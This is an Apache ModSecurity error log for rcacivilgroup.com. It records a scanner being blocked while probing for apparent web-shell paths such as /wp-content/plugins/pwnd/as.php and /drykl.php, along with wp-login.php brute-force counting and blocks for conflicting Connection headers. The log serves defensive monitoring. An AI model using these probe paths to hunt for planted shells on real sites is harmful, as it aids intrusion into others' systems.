[Thu May 07 06:24:48.404457 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:29593] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afu_sP0atTQld9Y2ht_w0gAAANQ"]
[Thu May 07 06:24:48.816660 2026] [:error] [pid 29710:tid 29723] [client 172.202.74.222:29848] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afu_sP0atTQld9Y2ht_w1QAAAMs"]
[Thu May 07 06:24:49.221115 2026] [:error] [pid 29607:tid 29679] [client 172.202.74.222:29807] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afu_sabP7TJOAh7WSUN2QwAAAIs"]
[Thu May 07 06:24:49.627520 2026] [:error] [pid 29606:tid 29661] [client 172.202.74.222:29766] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afu_sRR5HjZ1PlSAiKtuLgAAAFQ"]
[Thu May 07 06:24:50.035651 2026] [:error] [pid 29710:tid 29719] [client 172.202.74.222:29737] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afu_sv0atTQld9Y2ht_w3QAAAMc"]
[Thu May 07 06:24:50.463670 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:29795] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afu_soPEZE1565sDGnw_KQAAARA"]
[Thu May 07 06:24:50.878352 2026] [:error] [pid 29606:tid 29656] [client 172.202.74.222:29815] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afu_shR5HjZ1PlSAiKtuMAAAAE8"]
[Thu May 07 06:24:51.271046 2026] [:error] [pid 29606:tid 29659] [client 172.202.74.222:29803] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afu_sxR5HjZ1PlSAiKtuMQAAAFI"]
[Thu May 07 06:24:51.667531 2026] [:error] [pid 29605:tid 29621] [client 172.202.74.222:29729] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afu_s4nxrTjETioEY0TrewAAAAc"]
[Thu May 07 06:24:52.073219 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:29822] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afu_tP0atTQld9Y2ht_w4QAAAMk"]
[Thu May 07 06:24:52.533742 2026] [:error] [pid 29710:tid 29723] [client 172.202.74.222:29745] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afu_tP0atTQld9Y2ht_w4wAAAMs"]
[Thu May 07 06:24:52.958728 2026] [:error] [pid 4539:tid 4546] [client 172.202.74.222:30033] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afu_tIPEZE1565sDGnw_NwAAAQU"]
[Thu May 07 06:24:53.404927 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:29832] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afu_tf0atTQld9Y2ht_w5QAAANE"]
[Thu May 07 06:24:53.789728 2026] [:error] [pid 4539:tid 4562] [client 172.202.74.222:29736] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afu_tYPEZE1565sDGnw_OgAAARU"]
[Thu May 07 06:24:54.218609 2026] [:error] [pid 4539:tid 4555] [client 172.202.74.222:29778] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afu_toPEZE1565sDGnw_PQAAAQ4"]
[Thu May 07 06:24:54.636298 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:29698] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afu_toPEZE1565sDGnw_QQAAARg"]
[Thu May 07 06:24:55.024748 2026] [:error] [pid 4539:tid 4556] [client 172.202.74.222:29733] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afu_t4PEZE1565sDGnw_RAAAAQ8"]
[Thu May 07 06:24:55.440407 2026] [:error] [pid 29710:tid 29735] [client 172.202.74.222:29820] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afu_t_0atTQld9Y2ht_w6wAAANc"]
[Thu May 07 06:24:55.827967 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:29713] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_t_0atTQld9Y2ht_w7wAAANg"]
[Thu May 07 06:24:56.261767 2026] [:error] [pid 29607:tid 29671] [client 172.202.74.222:29714] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_uKbP7TJOAh7WSUN2SwAAAIM"]
[Thu May 07 06:24:56.700207 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:29781] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_uIPEZE1565sDGnw_TAAAAQw"]
[Thu May 07 06:24:57.144899 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:29866] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_uf0atTQld9Y2ht_w9QAAAM0"]
[Thu May 07 06:24:57.543724 2026] [:error] [pid 29710:tid 29726] [client 172.202.74.222:29754] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afu_uf0atTQld9Y2ht_w9wAAAM4"]
[Thu May 07 06:24:58.017908 2026] [:error] [pid 29607:tid 29689] [client 172.202.74.222:29756] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afu_uqbP7TJOAh7WSUN2TgAAAJU"]
[Thu May 07 06:24:58.479430 2026] [:error] [pid 29606:tid 29664] [client 172.202.74.222:29808] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afu_uhR5HjZ1PlSAiKtuPAAAAFc"]
[Thu May 07 06:24:58.868026 2026] [:error] [pid 29605:tid 29638] [client 172.202.74.222:29813] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afu_uonxrTjETioEY0TrggAAABg"]
[Thu May 07 06:24:59.275089 2026] [:error] [pid 29606:tid 29654] [client 172.202.74.222:29727] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afu_uxR5HjZ1PlSAiKtuRgAAAE0"]
[Thu May 07 06:24:59.723923 2026] [:error] [pid 4539:tid 4554] [client 172.202.74.222:29742] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afu_u4PEZE1565sDGnw_VAAAAQ0"]
[Thu May 07 06:25:00.173983 2026] [:error] [pid 29606:tid 29646] [client 172.202.74.222:29823] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afu_vBR5HjZ1PlSAiKtuSgAAAEU"]
[Thu May 07 06:25:00.602707 2026] [:error] [pid 29606:tid 29660] [client 172.202.74.222:29828] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afu_vBR5HjZ1PlSAiKtuTAAAAFM"]
[Thu May 07 06:25:01.036510 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:29801] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afu_vYPEZE1565sDGnw_WQAAARI"]
[Thu May 07 06:25:01.474919 2026] [:error] [pid 4539:tid 4561] [client 172.202.74.222:29594] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afu_vYPEZE1565sDGnw_XAAAARQ"]
[Thu May 07 06:25:01.887957 2026] [:error] [pid 29607:tid 29686] [client 172.202.74.222:29716] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afu_vabP7TJOAh7WSUN2UQAAAJI"]
[Thu May 07 06:25:02.336498 2026] [:error] [pid 29605:tid 29621] [client 172.202.74.222:29688] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afu_vonxrTjETioEY0TrhQAAAAc"]
[Thu May 07 06:25:02.758174 2026] [:error] [pid 4539:tid 4560] [client 172.202.74.222:29791] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afu_voPEZE1565sDGnw_ZAAAARM"]
[Thu May 07 06:25:03.139420 2026] [:error] [pid 29605:tid 29635] [client 172.202.74.222:29796] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afu_v4nxrTjETioEY0TrhgAAABU"]
[Thu May 07 06:25:03.578409 2026] [:error] [pid 29605:tid 29622] [client 172.202.74.222:29739] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afu_v4nxrTjETioEY0TriAAAAAg"]
[Thu May 07 06:25:04.079186 2026] [:error] [pid 29607:tid 29685] [client 172.202.74.222:29705] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afu_wKbP7TJOAh7WSUN2VQAAAJE"]
[Thu May 07 06:25:04.475753 2026] [:error] [pid 4539:tid 4545] [client 172.202.74.222:29649] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afu_wIPEZE1565sDGnw_ZwAAAQQ"]
[Thu May 07 06:25:04.878685 2026] [:error] [pid 29607:tid 29672] [client 172.202.74.222:29735] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afu_wKbP7TJOAh7WSUN2XAAAAIQ"]
[Thu May 07 06:25:05.296110 2026] [:error] [pid 29607:tid 29689] [client 172.202.74.222:29933] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afu_wabP7TJOAh7WSUN2XgAAAJU"]
[Thu May 07 06:25:05.723880 2026] [:error] [pid 4539:tid 4564] [client 172.202.74.222:29834] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afu_wYPEZE1565sDGnw_bAAAARc"]
[Thu May 07 06:25:06.140272 2026] [:error] [pid 4539:tid 4551] [client 172.202.74.222:29809] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afu_woPEZE1565sDGnw_bwAAAQo"]
[Thu May 07 06:25:06.576618 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:29787] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afu_woPEZE1565sDGnw_cwAAAQg"]
[Thu May 07 06:25:07.018320 2026] [:error] [pid 29607:tid 29668] [client 172.202.74.222:29753] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afu_w6bP7TJOAh7WSUN2ZAAAAIA"]
[Thu May 07 06:25:07.454283 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:29757] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afu_w_0atTQld9Y2ht_xVwAAAME"]
[Thu May 07 06:25:07.893598 2026] [:error] [pid 29710:tid 29735] [client 172.202.74.222:29703] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afu_w_0atTQld9Y2ht_xWwAAANc"]
[Thu May 07 06:25:08.309021 2026] [:error] [pid 29606:tid 29642] [client 172.202.74.222:29802] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afu_xBR5HjZ1PlSAiKtuYgAAAEE"]
[Thu May 07 06:25:08.802748 2026] [:error] [pid 29606:tid 29661] [client 172.202.74.222:29634] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afu_xBR5HjZ1PlSAiKtuZgAAAFQ"]
[Thu May 07 06:25:09.234027 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:29744] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afu_xYPEZE1565sDGnw_fgAAAQg"]
[Thu May 07 06:26:09.311933 2026] [:error] [pid 29605:tid 29618] [client 137.184.229.126:61347] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afvAAYnxrTjETioEY0Tr1gAAAAQ"]
[Thu May 07 06:27:52.378851 2026] [:error] [pid 29607:tid 29668] [client 43.173.1.57:44938] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afvAaKbP7TJOAh7WSUN3ugAAAIA"]
[Thu May 07 06:42:43.868671 2026] [:error] [pid 29607:tid 29685] [client 137.184.229.126:54393] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afvD46bP7TJOAh7WSUN9vgAAAJE"]
[Thu May 07 06:59:20.184447 2026] [:error] [pid 29606:tid 29652] [client 137.184.229.126:59761] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afvHyBR5HjZ1PlSAiKt6pAAAAEs"]
[Thu May 07 07:06:22.050210 2026] [:error] [pid 29710:tid 29734] [client 43.130.12.43:44396] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afvJbv0atTQld9Y2ht8DaQAAANY"]
[Thu May 07 07:16:05.272738 2026] [:error] [pid 29605:tid 29615] [client 137.184.229.126:52589] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afvLtYnxrTjETioEY0T5RwAAAAE"]
